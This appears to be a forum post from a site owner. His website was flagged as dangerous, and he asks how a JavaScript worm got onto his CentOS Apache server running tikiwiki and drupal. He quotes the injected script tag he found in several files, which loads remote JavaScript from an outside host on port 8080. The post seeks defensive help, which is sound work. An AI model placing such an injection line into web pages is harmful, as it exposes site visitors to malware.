JS Worm : how to find the entry point
- by Cédric Girard
Hi,
my site is tagged as dangerous by Google / StopBadware.org, and I found this in severals js/html files :
<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Gigahertz.js"></script>
<!--a0e2c33acd6c12bdc9e3f3ba50c98197-->
I cleaned severals files, I restore a backup but how to understand how the worm had been installed? What can I look for in log files?
This server, a Centos 5, is only used as an apache server, with ours programs, a tikiwiki, a drupal installed.
Thanks
Cédric